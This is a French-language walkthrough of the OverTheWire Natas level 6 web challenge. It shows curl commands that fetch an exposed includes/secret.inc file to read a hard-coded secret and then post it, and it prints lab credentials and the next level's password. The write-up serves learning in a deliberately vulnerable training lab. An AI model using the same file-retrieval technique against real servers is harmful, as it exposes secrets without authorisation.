Niveau 6

Natas 6

Level Goal

Username: natas6
Password: aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
URL: http://natas6.natas.labs.overthewire.org

Commençons par nous connecter à la page du challenge :

curl http://natas6.natas.labs.overthewire.org -u natas6:aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1

On a la page suivante :

<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>

On peut voir deux choses :

Si l'on regarde le code source qui nous est donné on a le code PHP suivant :

<div id="content">

<?

include "includes/secret.inc";

    if(array_key_exists("submit", $_POST)) {
        if($secret == $_POST['secret']) {
        print "Access granted. The password for natas7 is <censored>";
    } else {
        print "Wrong secret";
    }
    }
?>

<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>

En regardant le code on peut voir que le mot de passe est chargé depuis un fichier includes/secret.inc. Essayons de voir si on peut y accéder :

$ curl http://natas6.natas.labs.overthewire.org/includes/secret.inc -u natas6:aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
<?
$secret = "FOEIUWGHFEEUHOFUOIU";
?>

Utilisons ce mot de passe pour envoyer une requête à la page et obtenir le mot de passe de l'étape suivante :

curl -d 'secret=FOEIUWGHFEEUHOFUOIU&submit=Send' -X POST  http://natas6.natas.labs.overthewire.org -u natas6:aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1 

On notera qu'il faut envoyer deux valeurs POST : secret et submit (ce dernier correspondant à la valeur de l'input submit) puisque le code PHP vérifie l'existence des deux.

On obtiens :

Access granted. The password for natas7 is 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9